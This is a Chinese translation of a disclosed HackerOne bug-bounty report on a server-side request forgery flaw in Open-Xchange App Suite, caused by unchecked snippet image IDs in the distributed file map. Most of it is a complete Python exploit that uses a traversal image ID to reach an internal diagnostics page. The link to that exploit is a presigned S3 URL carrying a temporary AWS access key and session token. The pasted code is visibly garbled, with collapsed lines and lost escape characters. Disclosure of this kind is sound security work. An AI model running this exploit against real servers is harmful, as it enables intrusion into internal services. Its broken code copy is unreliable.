【漏洞赏金】Open-Xchange SSRF-分布式文件漏洞

  • A+
所属分类:安全文章

翻译自SSRF-分布式文件的未经检查的代码段ID

状态已解决(关闭)

漏洞公开:2021年5月1日晚上11:16 +0800

报告于:2020年10月5日上午5:48 +0800

漏洞:服务器端请求伪造(SSRF)

奖金$ 1,500

严重程度:高(7〜8.9 )

参加者:朱蒂拉

能见度:公开(完整)

资产https://github.com/open-xchange/appsuite-middleware

(源代码)


朱蒂拉 向Open-Xchange官方提交报告

## ManagedFile

`ManagedFiles`基本上只是临时文件,具有用于各种目的的ID。


创建托管文件后,该文件将在本地文件映射中注册,该文件映射只是从String(UUID)到ManagedFile的内部映射,还可以选择在分布式文件映射中注册,该分布式文件映射是从将String(UUID)转换为String(URL)。


当通过ID访问托管文件并且该托管文件不存在于本地映射中时,将检查分布式映射,并从注册的URL下载该文件。


##片段

jax / snippet?action = new 端点允许创建内容片段,通常是邮件签名。请求正文可能如下所示:

```json{"type":"signature","module":"io.ox/mail","displayname":"<name>","content":"<content>","misc":{"content-type":"<content_type>","imageId":"<image_id>"   }}```
`imageId`字段稍后将变得很重要。有两个代码段服务:*`MimeSnippetService`,需要`filestore'功能*`RdbSnippetService`,没有任何要求来宾用户没有`filestore`功能,因此,将`RdbSnippetService`用于此类功能。会议,这是这里的重要会议。
```java// com.openexchange.snippet.rdb.RdbSnippetManagement.getSnippet0Object misc = snippet.getMisc();final String imageId = SnippetUtils.getImageId(misc);ManagedFileManagement mfm = Services.getService(ManagedFileManagement.class);if (Strings.isNotEmpty(imageId) && !mfm.contains(imageId)) {ManagedFile mf = mfm.createManagedFile(imageId, attachment.getInputStream());```

但是,RDB仅在`com.openexchange.snippet.rdb.supportsAttachments`配置选项设置为true处理附件。默认情况下,它设置为** false **。


##漏洞

没有检查指定的ID。它可以是任何字符串,而不仅仅是UUID。此ID将是在分散地图中注册的URL的一部分,并且可能导致加载不正确的URL。


在集群设置中,我们可以在一个节点上创建一个恶意代码段,然后立即从另一个节点加载该代码段,该节点仅会在分布式映射中看到它,并从

我们注册的更改的URL加载它。可能是我没有测试。


在单节点设置中,我们必须等待垃圾回收过期的托管文件。清理每2分钟进行一次,文件的生存时间为最后一次* touch *后5分钟。因此,等待不是问题。文件仅从本地地图中删除,并保留在分布式地图中,因此,下次访问它们时,它们将再次直接从包含我们更改过的URL的分布式地图中加载。这就是我的演示漏洞利用所做的。


##摘要

*默认情况下**禁用

`com.openexchange.snippet.rdb.supportsAttachments`。

*但是启用后,可以创建具有任意ID的托管文件,从而导致SSRF。

*并且它可以被匿名来宾用户利用。


## 重现步骤

*启用在配置RDB片段附件并重新启动服务器

``` #/opt/open-xchange/etc/snippets.properties com.openexchange.snippet.rdb.supportsAttachments =真```

*运行我的演示利用F1014374,这将URL设置为内部的/ stats / diagnostic?param = version页面,并应产生如下输出:

```html...success. different content received<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>Diagnostic</title></head><body><h1>Version</h1><hr/>7.10.4-Rev9</body></html>```

附件下载:

https://hackerone-us-west-2-production-attachments.s3.us-west-2.amazonaws.com/V7nyfbBmCrao5jnXmXSyR2EL?response-content-disposition=attachment%3B%20filename%3D%22ox-rdbsnipid.py%22%3B%20filename%2A%3DUTF-8%27%27ox-rdbsnipid.py&response-content-type=text%2Fx-python&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=ASIAQGK6FURQ3QFMWDX3%2F20210502%2Fus-west-2%2Fs3%2Faws4_request&X-Amz-Date=20210502T082145Z&X-Amz-Expires=3600&X-Amz-SignedHeaders=host&X-Amz-Security-Token=IQoJb3JpZ2luX2VjEEAaCXVzLXdlc3QtMiJHMEUCIHSy7zf6zD%2FOjyNqnJKyV8684YghBTDVlqQtmWX4bupnAiEAt1GFwJBn2u%2FPBYDG1h%2FWM7WuQEkVay4EIwIdMO%2BNEhkqvQMIuf%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FARABGgwwMTM2MTkyNzQ4NDkiDJUt1bE8xCMxFSRD5SqRA3hcdfSDKM0SwauqkmArCQZEIZqAH%2FyX5C3nfCqOjS%2B1ngBZ8gGVzFZ9UTCGvlY0xObXT1HTba95asHcz%2FaoBN3Sq9CLOGpWjuKrdtPbAc5d18y8SkLTQvrvFHBALRlAHeMEs3p9Q0eLx4kWC77OxBa8bpJlSNdavHriD7Ya%2BBi%2F1sP1%2BFUumlJNRDuiIJBGiKw%2Btw9YqXAXgb%2FrFGYvuHp9SzC2Hxxb%2BzaLWtZJhjqiBm35k0mszmTivH0ftqLVzmVnFSodWdFt1YM%2FXfVkZLVZMxpVj1bZF28%2BntEWBepzqW%2BzKsNrjL9lHRklFoSOjrlS90G4yfIz%2FX2vHDjrqw9YoLarvruclNLE5gUwT99wXA4KeuUbxq3ruuJBHAMkcadidfuqHiM24s0QGVS1SgXFPa7tqDJYdJvgbory2EMVVY8vHgq%2FIUqmjJWskZ0sr8G8a0YpYUMjxRz68Rjrb55JVeV1XUSUUUJ33GPZiMpsLA5rgMUVKVtQTquX%2BK12ozuMZjnNS9MAadtkFzkitLCFMN6quYQGOusBD7wFeUGYURTR5KSTqrIDOrie%2BYMoGcDdMc2TLFc43ucktSIklbZtrwPP1BJ3D3CUdTNyOannWJFAFtFkdtoiXuZxqw%2B4CHxfS9JMOCqJGq%2BZluhxK7XScekemU3KASWzR%2FXy51Nd1ta0y8zqUrdytQjnEUP54Jimopi0l2iUXwXzNvOjI5m%2FTQ%2BgngRGriZVuAcGSl8qZbfYjosYGTJ1SZxaSqbFwIfiNRSIoM%2Fc93qdPN1g2r5k2kv5mMKm1FakbfUVr203%2B2CK%2B3IawcfRyVw5eNTH13XHDCzJSbamH8iMQ94qkIO9OX8Kjg%3D%3D&X-Amz-Signature=1d8bd6a2e107f8a4010fac653628d27c48609f59644a0de31f4cdff85664c5e6

附件内容:

import jsonimport reimport requestsfrom datetime import timedeltafrom time import time, sleepfrom urllib.parse import urljoin
HOST = 'http://192.168.56.101'USERNAME = 'david'PASSWORD = 'secret'
IMAGE_ID = '../../stats/diagnostic?param=version&uniq=' + str(time())IMAGE_DATA = (b'x89x50x4ex47x0dx0ax1ax0ax00x00x00x0dx49x48x44x52'b'x00x00x00x04x00x00x00x04x08x06x00x00x00xa9xf1x9e'b'x7ex00x00x00x04x73x42x49x54x08x08x08x08x7cx08x64'b'x88x00x00x00x1fx49x44x41x54x08x99x63xf8xcfxc0xf0'b'xdfxe7x3fxc3x7fx06xb5xffxffxebx19xccxffx33x31xa0'b'x01xc2x02x00xe3x79x08x28xf8xddxbfx7ax00x00x00x00'b'x49x45x4ex44xaex42x60x82')
class OX:def __init__(self, host): self.sess = requests.Session() self.host = host self.sid = None
def login(self, username, password): self.logout()
params = {'action': 'login' } data = {'name': username,'password': password } url = urljoin(self.host, '/ajax/login') resp = self.sess.post(url, params=params, data=data)try: self.sid = json.loads(resp.text)['session']except Exception as e: print(resp.status_code) print(resp.text)raise e
def share_login(self, url): self.logout()
resp = self.sess.get(url, allow_redirects=False) location = resp.headers['Location'] self.sid = re.findall(r'&session=(.*?)&', location)[0]
def logout(self):if not self.sid:return
params = {'session': self.sid,'action': 'logout', } url = urljoin(self.host, '/ajax/login') self.sess.get(url, params=params) self.sess.cookies.clear() self.sid = None
def config(self, path=''): params = {'session': self.sid } url = urljoin(self.host, '/ajax/config/' + path) resp = self.sess.get(url, params=params)try:return json.loads(resp.text)['data']except Exception as e: print(resp.status_code) print(resp.text)raise e
def capabilities_get(self, capability_id): params = {'session': self.sid,'action': 'get','id': capability_id } url = urljoin(self.host, '/ajax/capabilities') resp = self.sess.get(url, params=params)try:return json.loads(resp.text)['data']except:return None
def snippet_new(self, name, content, content_type, image_id): params = {'session': self.sid,'action': 'new' } data = {'type': 'signature','module': 'io.ox/mail','displayname': name,'content': content,'misc': {'content-type': content_type,'imageId': image_id } } url = urljoin(self.host, '/ajax/snippet') resp = self.sess.put(url, params=params, data=json.dumps(data))try:return json.loads(resp.text)['data']except Exception as e: print(resp.status_code) print(resp.text)raise e
def snippet_delete(self, snippet_id): params = {'session': self.sid,'action': 'delete','id': snippet_id } url = urljoin(self.host, '/ajax/snippet') self.sess.put(url, params=params)
def snippet_attach(self, snippet_id, name, content, content_type): params = {'session': self.sid,'action': 'attach','id': snippet_id,'force_json_response': True } files = {'file': (name, content, content_type), } url = urljoin(self.host, '/ajax/snippet') resp = self.sess.post(url, params=params, files=files)try:return json.loads(resp.text)['data']except Exception as e: print(resp.status_code) print(resp.text)raise e
def snippet_get(self, snippet_id): params = {'session': self.sid,'action': 'get','id': snippet_id } url = urljoin(self.host, '/ajax/snippet') resp = self.sess.get(url, params=params)try:return json.loads(resp.text)['data']except Exception as e: print(resp.status_code) print(resp.text)raise e
def files_new(self, folder_id, name, content, content_type): params = {'session': self.sid,'action': 'new','extendedResponse': True,'force_json_response': True, } files = {'json': (None, json.dumps({'folder_id': folder_id})),'file': (name, content, content_type), } url = urljoin(self.host, '/ajax/files') resp = self.sess.post(url, params=params, files=files)try:return json.loads(resp.text)['data']['file']except Exception as e: print(resp.status_code) print(resp.text)raise e
def file_get(self, file_id): params = {'session': self.sid,'action': 'get','id': file_id } url = urljoin(self.host, '/ajax/file') resp = self.sess.get(url, params=params)return resp.content if resp.status_code == 200 else None
def share_get_link(self, folder_id, file_id): params = {'session': self.sid,'action': 'getLink', } data = {'module': 'infostore','folder': folder_id,'item': file_id, } url = urljoin(self.host, '/ajax/share/management') resp = self.sess.put(url, params=params, data=json.dumps(data))try:return json.loads(resp.text)['data']['url']except Exception as e: print(resp.status_code) print(resp.text)raise e

def main(): snippet_id = None
ox = OX(HOST)
try: print('login') ox.login(USERNAME, PASSWORD)
if ox.capabilities_get('filestore') is not None: print('drop the filestore capability') folder_id = ox.config('folder/infostore') print('upload a file') file = ox.files_new(folder_id, 'image.png', IMAGE_DATA, 'image/png') print('share the file') share_link = ox.share_get_link(folder_id, file['id']) print('share login') ox.share_login(share_link)if ox.capabilities_get('filestore') is not None: print('failed to drop the filestore capability')return print('success. dropped the filestore capability')
print('create a snippet') snippet_id = ox.snippet_new('mysnip', 'hello', 'text/plain', IMAGE_ID) print('create an attachment') snippet_id = ox.snippet_attach(snippet_id, 'image.png', IMAGE_DATA, 'image/png') print('load the snippet') ox.snippet_get(snippet_id) print('check the managed file') attachment_data = ox.file_get(IMAGE_ID)if attachment_data is None: print('failure. managed file was not created') print('is com.openexchange.snippet.rdb.supportsAttachments set to true?')return print('success. managed file created')
print('wait for local delete...') start_time = time() wait_period = 7 * 60 + 30while time() < start_time + wait_period: sleep(1) elapsed = int(time() - start_time) print('%s / %s' % (timedelta(seconds=elapsed), timedelta(seconds=wait_period)), end='r') print('')
print('check the managed file') data = ox.file_get(IMAGE_ID)if data != attachment_data: print('success. different content received')try: data = data.decode()except:pass print(data)else: print('failure. the file has not changed')finally:if snippet_id: ox.snippet_delete(snippet_id) ox.logout()

if __name__ == '__main__':    main()
  • Open-Xchange员工  发表评论。

    感谢您的提交!我目前正在接受审核,将很快回复您的报告。

  • Open-Xchange员工 发表评论。

    很不错的发现!

  • Open-Xchange员工  已将漏洞严重性更新为“高” 。

  • Open-Xchange员工 向朱蒂拉奖励了1,500美元的赏金 。


原文翻译自:https://hackerone.com/reports/997926

本文始发于微信公众号(Ots安全):【漏洞赏金】Open-Xchange SSRF-分布式文件漏洞

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: